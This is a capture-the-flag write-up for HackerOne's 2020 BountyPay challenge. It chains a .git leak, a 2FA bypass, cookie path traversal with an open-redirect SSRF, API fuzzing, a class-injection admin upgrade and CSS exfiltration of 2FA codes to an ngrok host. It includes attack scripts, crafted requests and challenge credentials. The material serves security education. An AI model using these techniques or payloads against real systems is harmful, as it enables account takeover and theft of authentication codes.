h1-ctf · Report #888253
[H1-2006 2020] CTF Writeup
Summary
So there are a lot of writeups for H1-CTF disclosed, here are two things unique in this report which a reader might be interested in:
- Solving the Android part without even opening the application
- Full automation for last stage - CSS Exfiltration along with the script used
Happy Reading!
Summary
{F860074} {F860071}
Detailed Writeup:
As always, it all started with a tweet:
{F850819}
Doing basic subdomain enumeration using amass: amass enum -d "bountypay.h1ctf.com", we find the following subdomains
- https://bountypay.h1ctf.com/ {F861197}
- https://app.bountypay.h1ctf.com/ {F861198}
- https://staff.bountypay.h1ctf.com/ {F861199}
- https://software.bountypay.h1ctf.com/ {F861201}
- https://api.bountypay.h1ctf.com/ {F861202}
After gathering the subdomains, I tried to manually open all of them and make some notes and observations
Quick Observations made:
- https://app.bountypay.h1ctf.com is accessible but requires some kind of login.
- https://staff.bountypay.h1ctf.com redirects us to https://staff.bountypay.h1ctf.com/?template=login so it uses some dynamic page generation in the backend using templates
- https://api.bountypay.h1ctf.com/ contains the API which might be called from the browser or the backend. It responds with
["Endpoint Not Found"]if the API endpoint is not found. Also it contains an open redirect which is visible athttps://api.bountypay.h1ctf.com/redirect?url=https://www.google.com/search?q=REST+API - https://software.bountypay.h1ctf.com is not directly accessible from the browser. It is blocking requests which comes from outside world directly. This hints at SSRF very strongly at some point of the challenge
At this point, I tried SQL Injection in the both the login endpoints: https://app.bountypay.h1ctf.com and https://staff.bountypay.h1ctf.com/?template=login without any success.
Going a bit further in all subdomains:
It was necessary now to find more attack surface so I tried running dirsearch on all the subdomains with the default wordlist: cat domains.txt | xargs -I {} python3 dirsearch.py -u {} -E
After running dirsearch we discover a .git folder in the app.bountypay.h1ctf.com subdomain
{F850899}
I got really excited that we have source code analysis now. Downloaded Git Dumper(https://github.com/internetwache/GitTools) and ran it:
git clone https://github.com/internetwache/GitTools.git && cd GitTools
./Dumper/gitdumper.sh https://app.bountypay.h1ctf.com/.git/ repo
{F850908}
All hopes in vain as no objects were downloaded. I thought it was a rabbit hole and started looking for other things.
After hours of looking for something, I came back to the folder and issued a cat .git/* command and got the repo:
[remote "origin"]
url = https://github.com/bounty-pay-code/request-logger.git
fetch = +refs/heads/*:refs/remotes/origin/*
git clone https://github.com/bounty-pay-code/request-logger.git
cd request-logger && ls
We find a file named logger.php which contained the following:
<?php
$data = array(
'IP' => $_SERVER["REMOTE_ADDR"],
'URI' => $_SERVER["REQUEST_URI"],
'METHOD' => $_SERVER["REQUEST_METHOD"],
'PARAMS' => array(
'GET' => $_GET,
'POST' => $_POST
)
);
file_put_contents('bp_web_trace.log', date("U").':'.base64_encode(json_encode($data))."\n",FILE_APPEND );
We get a filename bp_web_trace.log. We go to https://app.bountypay.h1ctf.com/bp_web_trace.log and download the log file. We decode the contents of the file by reversing the log function. We split it by ":" take the second part and base64 decode all the lines one by one.
cat bp_web_trace.log | \
awk -F ':' '{print $2}' | \
while IFS= read -r line; do echo "$line" | \
base64 -d | \
cat; echo ''; done | \
tee decoded.txt
In decoded.txt we find the creds:
- Username:
brian.oliver - Password:
V7h0inzX
We use it to log into https://app.bountypay.h1ctf.com and we get this 2FA page:
{F851459}
There was a challenge param which was given to us and challenge_answer which was the 2FA code to be submitted by us. The challenge param looked like a md5 hash of some random value. So I tried generating MD5 value of my own. I used a as the challenge_answer and md5('a') = 0cc175b9c0f1b6a831c399e269772661 as challenge param and the 2FA was bypassed. We get a nice interface after bypassing the two factor authentication:
{F850956}
We also get an interesting cookie: eyJhY2NvdW50X2lkIjoiRjhnSGlxU2RwSyIsImhhc2giOiJkZTIzNWJmZmQyM2RmNjk5NWFkNGUwOTMwYmFhYzFhMiJ9 which when base64-decoded gives us
{
"account_id": "F8gHiqSdpK",
"hash": "de235bffd23df6995ad4e0930baac1a2"
}
We just have the functionality to retrieve Transactions. This makes a call to https://app.bountypay.h1ctf.com/statements?month=04&year=2020 from the browser.
We can determine that the backend server is interacting with the api subdomain by the following response:
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Content-Type: application/json
Connection: close
Content-Length: 177
{"url":"https:\/\/api.bountypay.h1ctf.com\/api\/accounts\/F8gHiqSdpK\/statements?month=04&year=2020","data":"{\"description\":\"Transactions for 2020-04\",\"transactions\":[]}"}
By basic observation, we can see that it is of the form https://api.bountypay.h1ctf.com/api/accounts/account_id/statements?month=04&year=2020(We will take a note of this in our observations as this shows us the structure of the API). This account ID is from the cookie. So it seems like we have to tamper with the cookie somehow to change the account_id in the URL to achieve path traversal. We can refer our previous observations/notes that we have an open redirect at https://app.bountypay.h1ctf.com/redirect?url endpoint.
First thought in mind was that this also might be MD5 hash and it turns out that the length matches but it's not directly the hash of the account_id. With this MD5 length extension attacks come in mind. It turns out we can directly change account_id without changing hash and it would work*.
So we can now traverse the path and chain it with the open redirect. We can use account_id in the cookie as ../../../../../redirect?url=https://REDIRECT_URL/# (hash is required so that it ignored any text after that as it is considered fragment). After playing around with it a bit, we get to know that it uses a whitelist for URLs so we don't have a full SSRF but enough to go ahead in the challenge. Whitelisted URLs are https://google.com/search?q=query and the subdomains of bountypay.h1ctf.com. The server happily fetched the software subdomain for us :)
We have {"account_id":"../../../../../redirect?url=https://software.bountypay.h1ctf.com/#","hash":"de235bffd23df6995ad4e0930baac1a2"} -> base64 -> Use this as token cookie and fire a request to /statements endpoint. After performing the SSRF+Open Redirect chain, all we could get was a login page:
{F851099}
There is no way we can send a POST request using the SSRF so we can't even reuse the credentials we got earlier on this subdomain. I was stuck on what to do with this endpoint. I took a break and came back with a fresh mind. Why not bruteforce path using the SSRF and see if we can find anything? So I wrote a custom Turbo Intruder python script:
import base64
import json
def gencookie(message):
message = json.dumps({"account_id":"../../../../redirect?url=https://software.bountypay.h1ctf.com/"+message+"#","hash":"de235bffd23df6995ad4e0930baac1a2"})
message_bytes = message.encode('ascii')
base64_bytes = base64.b64encode(message_bytes)
base64_message = base64_bytes.decode('ascii')
return(base64_message)
# Find more example scripts at https://github.com/PortSwigger/turbo-intruder/tree/master/examples
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=3,
pipeline=False
)
engine.start()
for word in open('/Users/yashsodha/Downloads/dirsearch-master/db/dicc.txt'):
engine.queue(target.req, gencookie(word.rstrip()))
def handleResponse(req, interesting):
if "404 Not Found" not in req.response and "400 Bad Request" not in req.response:
table.add(req)
This can also be achieved with Intruder with the following configuration: {F851175}
After fuzzing:
{F851533}
We get a directory listing at https://software.bountypay.h1ctf.com/uploads/ path with an APK: https://software.bountypay.h1ctf.com/uploads/BountyPay.apk. First thing I do when I get an APK is install the APK and decompile it with Jadx (https://github.com/skylot/jadx).
I found a few references to Firebase and some paths to Firebase Realtime Database. This can be identified by searching for addListenerForSingleValueEvent or .child in the application and another reference was to Anonymous login(this.mAuth.signInAnonymously().addOnCompleteListener).
Some paths were base64 encoded some were not:
final String directory = "aG9zdA==";
final String directoryTwo = "WC1Ub2tlbg==";
final String headerDirectory = "header";
This gives us host, X-Token, header respectively.
After going through the docs(https://firebase.google.com/docs/auth/web/anonymous-auth and https://firebase.google.com/docs/database/web/read-and-write), I realized that this is possible without the mobile application as well. We need to extract the apiKey, authDomain, databaseURL from strings.xml in the application and follow the docs. HTML Proof of Concept:
<body>
<script src="https://www.gstatic.com/firebasejs/7.14.6/firebase.js"></script>
<script>
function add(message)
{
var message = message
var pre = document.createElement("pre");
pre.style.wordWrap = "break-word";
pre.innerText = message;
output.appendChild(pre);
var hr = document.createElement("hr");
output.appendChild(hr);
}
var firebaseConfig = {
apiKey: "AIzaSyAyr601_-ElsasDnhGORBykg0ZTDaOxFeo",
authDomain: "bountypay-90f64.firebaseapp.com",
databaseURL: "https://bountypay-90f64.firebaseio.com",
projectId: "bountypay-90f64",
storageBucket: "bountypay-90f64.appspot.com",
appId: "bountypay-90f64"
};
firebase.initializeApp(firebaseConfig); // Initialize Firebase
var auth = firebase.auth();
auth.onAuthStateChanged(function(user) {
if (user) { // User is signed in
var uid = user.uid;
console.log("Signed in");
console.log(user);
firebase.database().ref("X-Token").once('value').then(function(snap){
var v = snap.val();
add("X-Token: " + v);
});
firebase.database().ref("host").once('value').then(function(snap){
var v = snap.val();
add("Host: " + v);
});
firebase.database().ref("header").once('value').then(function(snap){
var v = snap.val();
add("Header: " + v);
});
}
});
auth.signInAnonymously().catch(function(error) {console.log(error);});
</script>
<div id="output">
Output:
</div>
</body>
Output: {F851224}
So static analysis of the app did most of the part for me and at this point I didn't even have to open the app. But as this CTF was also designed by @B3nac I thought about exploring the app dynamically as well as there might be some other aspect to it.
So, installing the APK and opening it gives us:
{F851263}
After filling up details and submitting it gives us:
{F851264}
Going through the app, we find this which means we have to invoke the intent specifically. We can do it in multiple ways, here I will use adb to invoke the intents. We can use https://play.google.com/store/apps/details?id=com.manoj.dlt&hl=en_IN or create our own android app which does it as well.
if (getIntent() != null && getIntent().getData() != null && (firstParam = getIntent().getData().getQueryParameter("start")) != null && firstParam.equals("PartTwoActivity") && settings.contains("USERNAME")) {
We use the following command to open the activity with the params required.
adb shell am start -d "one://part?start=PartTwoActivity"
We get invisible PartTwo, but again we go through the APK to find this:
Uri data = getIntent().getData();
String firstParam = data.getQueryParameter("two");
String secondParam = data.getQueryParameter("switch");
if (firstParam != null && firstParam.equals("light") && secondParam != null && secondParam.equals("on")) {
which leads us to:
adb shell am start -d "two://part/?switch=on\&two=light"
{F851277}
DatabaseReference childRef = this.database.child("header");
...
this.childRef.addListenerForSingleValueEvent(new ValueEventListener() {
public void onDataChange(DataSnapshot dataSnapshot) {
SharedPreferences settings = PartTwoActivity.this.getSharedPreferences(PartTwoActivity.KEY_USERNAME, 0);
SharedPreferences.Editor editor = settings.edit();
String str = post;
if (str.equals("X-" + ((String) dataSnapshot.getValue()))) {
PartTwoActivity.this.logFlagFound(settings.getString("USERNAME", ""), settings.getString("TWITTERHANDLE", ""));
editor.putString("PARTTWO", "COMPLETE").apply();
PartTwoActivity.this.correctHeader();
return;
}
Upon seeing 459a6f79ad9b13cbcb5f692d2cc7a94d in the activity, it again looked like MD5 hash, we go to https://md5.gromweb.com/?md5=459a6f79ad9b13cbcb5f692d2cc7a94d to decrypt it and voila:
{F861185}
We enter X-Token and go ahead to the third part
adb shell am start -d "three://part/?three=UGFydFRocmVlQWN0aXZpdHk=\&switch=b24=\&header=X-Token"
In PartThreeActivity.java we see this:
handler.postDelayed(new Runnable() {
public void run() {
PartThreeActivity.this.signIn();
}
}, 10000);
handler.postDelayed(new Runnable() {
public void run() {
PartThreeActivity.this.getHost();
}
}, 20000);
handler.postDelayed(new Runnable() {
public void run() {
PartThreeActivity.this.getToken();
}
}, 20000);
...
public void getHost() {
final SharedPreferences.Editor editor = getSharedPreferences(KEY_USERNAME, 0).edit();
this.childRef.addListenerForSingleValueEvent(new ValueEventListener() {
public void onDataChange(DataSnapshot dataSnapshot) {
editor.putString("HOST", (String) dataSnapshot.getValue()).apply();
}
public void onCancelled(DatabaseError databaseError) { ... }
});
}
public void getToken() {
final SharedPreferences.Editor editor = getSharedPreferences(KEY_USERNAME, 0).edit();
this.childRefTwo.addListenerForSingleValueEvent(new ValueEventListener() {
public void onDataChange(DataSnapshot dataSnapshot) {
editor.putString("TOKEN", (String) dataSnapshot.getValue()).apply();
}
public void onCancelled(DatabaseError databaseError) { ... }
});
}
We see that it gets the Token and the host automatically and stores it in the shared_preferences after 20 seconds.
So, we can simply go to the shared_preferences directory and inside the
OnePlus5:/data/data/bounty.pay/shared_prefs # cat user_created.xml
Output:
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
<string name="USERNAME">yashrs</string>
<string name="PARTTWO">COMPLETE</string>
<string name="HOST">http://api.bountypay.h1ctf.com</string>
<string name="PARTONE">COMPLETE</string>
<string name="TWITTERHANDLE">y_sodha</string>
<string name="TOKEN">8e9998ee3137ca9ade8f372739f062c1</string>
</map>
We enter this token from the Shared Preferences in the application and we get this. We are done with the Android part! :D
{F851344}
So these were the same things we got from firebase database directly by using their JS SDK, well except the wonderful page which said Congrats! You completed all the Android challenges. The Android app didn't give us anything else other than this.
So, the additional information we have from this Android side mission:
X-Tokenis header and it's value is:8e9998ee3137ca9ade8f372739f062c1- Host is:
http://api.bountypay.h1ctf.com
Revisiting BountyPay API:
- When we exploited the SSRF in the statements endpoint
https://app.bountypay.h1ctf.com/statements?month=04&year=2020, the backend made a request tohttps://api.bountypay.h1ctf.com/api/accounts/F8gHiqSdpK/statements?month=04&year=2020which if we accessed directly gave us the following error:
{F851339}
So now we try with the X-Token header as indicated in the application by making a HTTP Request:
{F851354}
It works!
Sandra - Twitter Hint
Meanwhile a hint was dropped on HackerOne's twitter account: {F851361}
This leads us to {F851362}
Going into the accounts followed by their Twitter account we find Sandra's twitter account and her Staff ID(STF:8FJ3KFISL3) as well: {F851363}
This gave a big clue that somewhere in the Application or API we have to use the Staff ID. First guess was SQL Injection due to this:
{F851370}
I tried SQL Injection in the staff login at https://staff.bountypay.h1ctf.com/ to no avail. Even tried SQL injection in template parameter and username parameter. These were the only possible inputs for us at this stage.
Fuzzing and more fuzzing - Getting Sandra's Credentials
After the SQLi rabbit hole, we are left with no other option except to find other API endpoints now that we have the token.
We have the format of the statement API as https://api.bountypay.h1ctf.com/api/accounts/F8gHiqSdpK/statements?month=04&year=2020. As this seems like a REST api, we can try going back directories and finding stuff. For example, if we go back on path, we get to https://api.bountypay.h1ctf.com/api/accounts/F8gHiqSdpK which shows us the basic information of Brian's account which doesn't actually have any useful information:
{F851375}
So for fuzzing, I used Intruder and I found this nice repo https://github.com/chrislockard/api_wordlist with a good wordlist.
Intruder Positions: {F851382}
Used HTTP methods known for the first injection position and second was the wordlist: {F851387}
{F851400}
Sorting by length gets us:
{F851392}
We find the following endpoints: GET /api/staff and POST /api/staff. Damn this was a simple one, could have been guessed as well, but fuzzing FTW!
GET /api/staff endpoint gave us details of the existing staff members whose accounts were already created.
[
{
"name": "Sam Jenkins",
"staff_id": "STF:84DJKEIP38"
},
{
"name": "Brian Oliver",
"staff_id": "STF:KE624RQ2T9"
}
]
POST /api/staff is more interesting one as it says:
[
"Missing Parameter"
]
So we make a request to POST /api/staff using Sandra's staff_id that we got from twitter:
POST /api/staff HTTP/1.1
Host: api.bountypay.h1ctf.com
Connection: close
DNT: 1
X-Token: 8e9998ee3137ca9ade8f372739f062c1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4156.0 Safari/537.36
staff_id=STF:8FJ3KFISL3
I was greeted with Missing Parameter again. Now at this time, I was really tired and my brain wasn't working properly. I knew something is there here but I am missing something. After some time, after introspecting the request again, I realized I had not included Content-Type: application/x-www-form-urlencoded 🤦♂️🤦♂️
Adding that header gave us Sandra's credentials:
{
"description": "Staff Member Account Created",
"username": "sandra.allison",
"password": "s%3D8qB8zEpMnc*xsz7Yp5"
}
Staff Subdomain:
- We login to https://staff.bountypay.h1ctf.com/ using the credentials: {F851411}
- Again back to basics and observing things and noting them down. Things seem to get interesting from here:
- There are 3 Tabs: Home, Support Tickets, Profile. 4th option is Logout
- There is only one support ticket https://staff.bountypay.h1ctf.com/?template=ticket&ticket_id=3582 which cannot be replied to.
- In the profile section, we have option to change Profile name and Avatar.
I like to get a feel of how the application is behaving when doing CTFs and/or Bug Bounty. Using the app for some more time, I observed something more:
- The avatar is displayed using CSS(https://staff.bountypay.h1ctf.com/css/style.css) by using static class entries:
.avatar {
width:64px;
height:64px;
}
.avatar1 {
background-image:url("data:image/png;base64,asd");
}
.avatar2 {
background-image:url("data:image/png;base64,asd");
}
.avatar3 {
background-image:url("data:image/png;base64,asd");
}
- There are only three default avatars but we can change our avatar to anything arbitrary and that gets reflected inside the class where our avatar is displayed. {F851418}
I also tried XSS and HTML injection, but the webserver strips all other characters out except space
- There is a javascript file at https://staff.bountypay.h1ctf.com/js/website.js which seems to be having some logic for the WebApp. We will analyze this file. I found two interesting functions:
There is a function to upgrade an user to admin:
$(".upgradeToAdmin").click(function() {
let t = $('input[name="username"]').val();
$.get("/admin/upgrade?username=" + t, function() {
alert("User Upgraded to Admin")
})
})
There is a function to report any URL (this can also be revoked by clicking on Report This Page at the bottom of the page:
$(".sendReport").click(function()
{
$.get("/admin/report?url=" + url, function()
{
alert("Report sent to admin team")
}),
$("#myModal").modal("hide")
})
- I took a wild shot and visited https://staff.bountypay.h1ctf.com/admin/upgrade?username=sandra.allison but was obviously greeted with
Only admins can perform this. Not that simple, huh!
Next thing intuitively was to try for reporting /admin/upgrade?username=sandra.allison URL via the /admin/report?url= functionality. When opening the Report This Page functionality, it explicitly says that Pages in the /admin directory will be ignored for security so that shouldn't work. I still tried for the sake of it and it didn't :P
{F851422}
So now again I was left with a dead-end and this was the most hard step to overcome for me. I took a lot of time and honestly even thought about giving up on this because I didn't seem to find anything.
Exploiting Report to Admin functionality
-
Again going through the WebApp, I found out it is using older version of jQuery which has some public XSS CVEs. After trying for some time, I couldn't find anything related to this and decided to move on.
-
I revisited the javascript and found this code at the bottom:
document.location.hash.length > 0 &&
("#tab1" === document.location.hash && $(".tab1").trigger("click"),
"#tab2" === document.location.hash && $(".tab2").trigger("click"),
"#tab3" === document.location.hash && $(".tab3").trigger("click"),
"#tab4" === document.location.hash && $(".tab4").trigger("click"));
So as there were tabs in the application, this looks like something a developer might have written so that a particular tab can be opened when the page loads. For example, in the HTML we have:
<li role="presentation" class="tab tab1 active" data-target="home"><a href="#">Home</a></li>
<li role="presentation" class="tab tab2" data-target="tickets"><a href="#">Support Tickets</a></li>
<li role="presentation" class="tab tab3" data-target="profile"><a href="#">Profile</a></li>
So opening https://staff.bountypay.h1ctf.com/?template=home#tab1 will open up Home, opening https://staff.bountypay.h1ctf.com/?template=home#tab2 will open up Support Tickets and so on. One might ask, how?
So, let's take an example of #tab1 being at the end of the URL. In JS this is populated in the document.location.hash variable. So, in this case "#tab1" === document.location.hash condition will be true which will execute $(".tab1").trigger("click"). This click triggers $(".tab").click function which shows the corresponding content-id div(In this case home)
<div class="content content-home">
<div class="alert alert-success text-center">
<p>Our easy to use staff portal allows you to receive messages from our friendly admin team</p>
</div>
</div>
Also, one trait of jQuery is that if $("selector") matches multiple elements and if we call $("selector").click() it will call click for all those elements and not just one element. This can be verified by the following HTML:
<html>
<script src="https://code.jquery.com/jquery-3.5.1.min.js"></script>
<button class="abc xyz" onclick="console.log('xyz')">xyz</button>
<button class="abc def" onclick="console.log('def')">def</button>
<br><br><br>
Execute <code>$(".abc").click()</code> in the console
</html>
{F851432}
So now combining this fact with the fact that we are able to inject any class in our avatar, I came up with a solution that our avatar should have two classes: tab1 and upgradeToAdmin with the hash #tab1 in the URL. This will work wherever our avatar is displayed. The #tab1 hash will invoke the click method on all tab1 class elements. All the elements with upgradeToAdmin have a onclick method which calls the /admin/upgrade endpoint. Our avatar would have both those classes making this attack work.
To change this, we can go to https://staff.bountypay.h1ctf.com/?template=home. Click on Profile, select any Avatar and then the Update button and intercept the request. We can change avatar2 to tab1 upgradeToAdmin on the fly making the request
POST /?template=home HTTP/1.1
Host: staff.bountypay.h1ctf.com
Connection: close
Content-Length: 42
Origin: https://staff.bountypay.h1ctf.com
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4156.0 Safari/537.36
Referer: https://staff.bountypay.h1ctf.com/?template=home
Cookie: token=c0lsdUVWbXlwYnp5L1VuMG5qcGdMZnlPTm9iQjhhbzhweEtKaFFCZGhSVHBnMVNDWHlsVkRKclJqcnIwSmVNbFRkbnIvU3MzMndYSW5XNmNFS1l5T1FDdTVNZFJPMS9TTWtDWEFkODBtRGRlbXpERlZ5WVlUdVZ6eDA0VnkxaWxRbU9CUVA2dFVoOTdwQVljb0NpbSt2d0RkYVF1N1BHUmFSbjZkNHpH
profile_name=sandra&profile_avatar=tab1+upgradeToAdmin
Now our profile has the payload, so when we visit the page https://staff.bountypay.h1ctf.com/?template=home#tab1 it should trigger a request to /admin/upgrade. Alas, it calls with username undefined as there is no input tag with input[name="username"] in the page. If only we could find a page where there's an input tag with the name username. The first thing that came into my mind was the login page. It has username and password both fields. So I tried visiting https://staff.bountypay.h1ctf.com/?template=login&username=sandra.allison and luckily the username was pre-filled:
{F851448}
This page didn't have the javascript embedded as it is not required on the login page. Going back to the notes, this subdomain uses template param to generate dynamic pages on the fly so first intuition was HTTP Parameter pollution, by including both the things together: https://staff.bountypay.h1ctf.com/?template=login&username=sandra.allison&template=home. But this showed only the home template. Instantly, second thing from my programming instincts kicked in. How would a developer implement it? Using Arrays or something like that! So we try template[]: https://staff.bountypay.h1ctf.com/?template[]=login&username=sandra.allison&template[]=home#tab1
{F851456}
I tried submitting the URL but it didn't work and it kept me wondering why. Then I thought the admin report feature means that admin will open that page. That page will not contain my avatar as it is the home page. The only page where my avatar would be visible to the admin would be the tickets page.
https://staff.bountypay.h1ctf.com/?template[]=login&username=sandra.allison&template[]=ticket&ticket_id=3582#tab1. I quickly and in an excitement, encoded ?template[]=login&username=sandra.allison&template[]=ticket&ticket_id=3582#tab1 in base64 -> P3RlbXBsYXRlW109bG9naW4mdXNlcm5hbWU9c2FuZHJhLmFsbGlzb24mdGVtcGxhdGVbXT10aWNrZXQmdGlja2V0X2lkPTM1ODIjdGFiMQ== and submitted it to the report URL. It finally worked!
{F851457}
We got another token cookie, which I manually inserted into the browser using EditMyCookie extension.
We got admin access after that and another tab was added which contained Marten's credentials. {F851458}
Final nail in the coffin
-
We have the CEO's credentials now.
marten.mickos&h&H5wy2Lggj*kKn4OD&Ype. We login to https://app.bountypay.h1ctf.com/ and we are presented with a login 2FA which we can again bypass with the same way of MD5 hash which we did for Brian's account earlier when we were starting in the CTF. -
The first tweet https://twitter.com/Hacker0x01/status/1266454022124376064 mentioned that the CEO needs to approve May payments, so I straightaway went and selected 05/2020 and got the transaction:
{F851466}
Clicking on the pay button redirects us to yet another 2FA:
{F851468}
Clicking on the Send Challenge button, the request gets sent:
POST /pay/17538771/27cd1393c170e1e97f9507a5351ea1ba HTTP/1.1
Host: app.bountypay.h1ctf.com
Connection: close
Content-Length: 73
Origin: https://app.bountypay.h1ctf.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4156.0 Safari/537.36
Cookie: token=eyJhY2NvdW50X2lkIjoiQWU4aUpMa245eiIsImhhc2giOiIzNjE2ZDZiMmMxNWU1MGMwMjQ4YjIyNzZiNDg0ZGRiMiJ9
app_style=https%3A%2F%2Fwww.bountypay.h1ctf.com%2Fcss%2Funi_2fa_style.css
Notice that there is app_style parameter which indicates that the page is including our custom CSS on the page. I verified this by giving a Burp Collaborator URL and it sure did receive a request from a browser with User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/81.0.4044.138 HeadlessChrome/81.0.4044.138 Safari/537.36. Straightaway, this pointed me towards Data Infiltration using CSS. I had read it first on @d0nut's article https://medium.com/bugbountywriteup/exfiltration-via-css-injection-4e999f63097d.
What is Data Exfiltration using CSS?
- So CSS can't execute arbitrary javascript code in the client side, but doesn't mean that it isn't less dangerous. For starters, if we are able to include our custom CSS, we can leak the URL of the page by using the referer of the page. Also, we can use CSS selectors in such a way that we can extract information about some object character by character.
For example,
We can use the following CSS to check if there exists a input tag with name starting with 'a':
input[name^="a"]{
background-image: url("https://ourserver/?val=a");
}
But checking one by one would be tiresome, so we include a series of such selectors to detect the first character. When the first character is detected, we can move onto another character like this:
input[name^="a"]{
background-image: url("https://ourserver/?val=a");
}
input[name^="b"]{
background-image: url("https://ourserver/?val=b");
}
...
input[name^="9"]{
background-image: url("https://ourserver/?val=9");
}
So for solving this, I first tried with the known input names: challenge_answer, challenge, challenge_timeout. Turns out, none of them seemed to exist in the vulnerable page. I verified the existence by the following payload
input[name="challenge_answer"]{
background-image: url("https://ourserver/challenge_answer_exists");
}
I did the same with the other three but didn't receive any callbacks for them.
Stage 1: Determining the input tag name
I wrote a small hacky python script for generating CSS: {F851483}
python gen.py > css.css and it would generate for first character. I would use ngrok to expose the css via Apache from my local computer. Give the ngrok path with css to the app_style parameter of the payment 2FA request.
Then once we get first hit in collaborator, we would give it to the script and it would generate payload for the second character and so on.
After a few trial and errors, got the first character c:
{F851490}
Doing this way, I got to code_ and then when I fired the next payload, I got 7 requests, meaning we had 7 name tags: name_1 to name_7 which had to be exfiltrated.
Stage 2: Getting all those values and the flag
We know that it is of 7 characters due to 2 reasons: <input name="challenge_answer" class="form-control" maxlength="7"> and also due to the fact that code_1 - code_7 input tags exist on the vulnerable page.
I tried extracting name_1 first by using the manual approach. It seemed to be different everytime and also the fact that we had to collect 7 values from tags together and submit the 2FA code within 2 minutes seemed possible although hard to be done manually. Also, why to do a task in 10 minutes if it can be automated in 2 hours? :P
Came to the conclusion that this will be easier to be automated and wrote up a Python server using flask which I exposed using ngrok:
- Python Script: {F860033}
- Start ngrok by
./ngrok http 5000 - Start the python script by
python twofactor.py https://ngrok.url(Onlyhttpsurls seem to work in this CTF) - Visit http://localhost:5000/start and flag will be displayed. Everything from submitting the request to getting the 2FA token and submitting it back to the application was automated.
We got the flag that is: 736c635d8842751b8aafa556154eb9f3.
-
Screenshot: {F851505}
-
Video: {F851504}
About the script:
-
Creates a blank array with 7 elements
-
/startendpoint/function submits the post request tohttps://app.bountypay.h1ctf.com/pay/17538771/27cd1393c170e1e97f9507a5351ea1bawith our ngrok URL (https://ngrok.url/css). This triggers the css url -
/cssendpoint: This endpoint is called by the vulnerable page. This endpoint returns our auto-generated CSS using the functiongetFullCssand with mime-typetext/css
It is of the form:
input[name="code_1"][value^="a"]{
background-image: url("https://15d95cd78dd6.ngrok.io/exfil?name=code_1&val=a");
}
...
input[name="code_7"][value^="_"]{
background-image: url("https://15d95cd78dd6.ngrok.io/exfil?name=code_7&val=_");
}
It covers all code_1-code_7
/exfilendpoint receives callbacks from the CSS. With each callback, it sets the particular value in the array. So for?name=code_4&val=a, array's 3rd element would be set toa. In this way, when the array is full, we send it along with the challenge_timeout and challenge we received.
This is one of the best automated solutions I have written till now for any CTF!
Takeaways:
- Don't always think too complicated, sometimes it's quite easy and in front of your eyes. Start with simpler stuff and go towards more complex stuff.
- Keep trying and reading stuff and try everything you know, never assume anything.
- Note taking is important as any information you discover might be helpful in the later part.
- Think like a developer.
- But most importantly: Persistence: Don't give up - this was the reason I was able to solve this CTF. It was 5 am in the morning on the second day of solving that I was able to solve this.
Regards, Yash
How it was found
Hi,
The flag is :^FLAG^736c635d8842751b8aafa556154eb9f3$FLAG$
{F850811}
I will do the writeup in the report summary.
Regards, Yash
Impact
None as the money paid was not real